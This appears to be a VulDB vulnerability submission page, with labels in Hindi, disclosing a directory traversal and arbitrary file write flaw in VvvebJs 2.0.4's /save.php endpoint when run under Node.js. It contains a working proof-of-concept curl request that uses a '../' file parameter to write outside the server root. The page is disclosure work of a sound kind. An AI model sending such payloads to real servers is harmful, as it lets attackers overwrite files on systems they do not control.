| शीर्षक | givanz Vvvebjs 2.0.4 Directory Traversal (Arbitrary File Write) |
|---|
| विवरण | VvvebJs suffers from a directory traversal vulnerability in the /save.php endpoint. The issue allows remote attackers to write arbitrary files outside the intended directory via the file POST parameter due to insufficient sanitization of user input.
This vulnerability exists only when the application is run using Node.js, following the project documentation (node save.js).
POC:
# Start the application with:
node save.js
# Send the malicious request:
curl -X POST http://localhost:8080/save.php \
-d 'file=../flag.txt&html=exploit'
This will create a file named flag.txt one level above the server root, demonstrating path traversal and arbitrary file write.
|
|---|
| स्रोत | ⚠️ https://github.com/givanz/VvvebJs/issues/409 |
|---|
| उपयोगकर्ता | Enigma522 (UID 88000) |
|---|
| सबमिशन | 16/07/2025 01:26 PM (1 वर्ष पहले) |
|---|
| संयम | 04/08/2025 08:27 AM (19 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 318648 [givanz Vvvebjs तक 2.0.4 node.js /save.php file निर्देशिका ट्रैवर्सल] |
|---|
| अंक | 20 |
|---|